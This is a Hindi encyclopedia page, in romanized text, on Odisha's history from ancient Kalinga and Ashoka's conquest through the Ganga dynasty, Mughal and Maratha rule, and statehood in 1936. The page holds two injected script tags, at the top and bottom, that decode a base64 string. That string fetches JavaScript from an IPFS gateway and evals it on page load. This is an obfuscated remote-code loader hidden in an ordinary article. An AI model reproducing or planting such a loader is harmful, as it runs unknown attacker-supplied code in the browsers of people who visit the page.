ओडिशा का इतिहास
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
u disa rajy prachin samay mean 'kaliang' ke nam se vikhyat tha. eesa poorv tisari shatabdi (261 ee.poo.) mean maury samrat ashok ne kaliang vijay karane ke lie ek shaktishali sena bheji thi, jisaka kaliang ke nivasiyoan ne jamakar samana kiya. samrat ashok ne kaliang to jita, parantu yuddh ke bhishan sanhar se samrat ka man mean vitrishna paida ho gee aur ashok ki mrityu ke bad kaliang phir se svadhin ho gaya. eesa poorv doosari shatabdi mean kharavel raja ke adhin kaliang ek shaktishali samrajy ban gaya. kharavel ki mrityu ke bad u disa ki khyati lupt ho gee. chauthi shatabdi mean vijay par nikale samudragupt ne u disa par akraman kiya aur is pradesh ke paanch rajaoan ko parajit kiya. sanh 610 mean u disa par shashaank naresh ka adhikar ho gaya. shashaank ke nidhan ke bad harshavardhan ne u disa par vijay prapt ki.
satavian shatabdi mean u disa par gang vansh ka shasan raha. sanh 795 mean mahashivagupt yajati dvitiy ne u disa ka shasan bhar sanbhala aur u disa ke itihas ka sabase gauravashali adhyay shuroo hua. unhoanne kaliang, kanagoda, utkal aur koshal ko milakar kharavel ki bhaanti vishal samrajy ki nianv rakhi. gang vansh ke shasakoan ke samay mean u disa rajy ki bahut unnati huee. is rajavansh ke shasak raja narasianh dev ne konark ka vishv bhar mean prasiddh soory mandir banavaya tha. 16 vian shatabdi ke lagabhag madhy se 1592 tak u disa paanch muslim rajaoan dvara shasit raha. sanh 1592 mean akabar ne u disa ko apane adhin kar apane shasan mean shamil kar liya. mugaloan ke patan ke pashchath u disa par marathoan ka adhikar raha. sanh 1803 mean british raj se pahale u disa maratha shasakoan ke adhin raha.
1 aprail sanh 1936 ko u disa ko svatantr praant banaya gaya. svatantrata ke bad u disa tatha isake asapas ki riyasatoan ne bharat sarakar ko apani satta sauanp di. riyasatoan (gavarnar ke adhin praantoan) ke vilay sanbandhi adesh 1949 ke aantargat janavari 1949 mean u disa ki sabhi riyasatoan ka u disa rajy mean sampoorn vilay ho gaya. u disa ke kaliang, utkal aur udr jaise kee prachin nam haian, parantu yah pradesh mukhyat: bhagavan jagannath ki bhoomi ke lie prasiddh hai. bhagavan jagannath u disa ke samajik, saanskritik aur dharmik jivan se bahut gahare jude hue haian. vibhinn samay mean u disa ke logoan par jain, eesaee aur islam dharmo ka prabhav pada.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>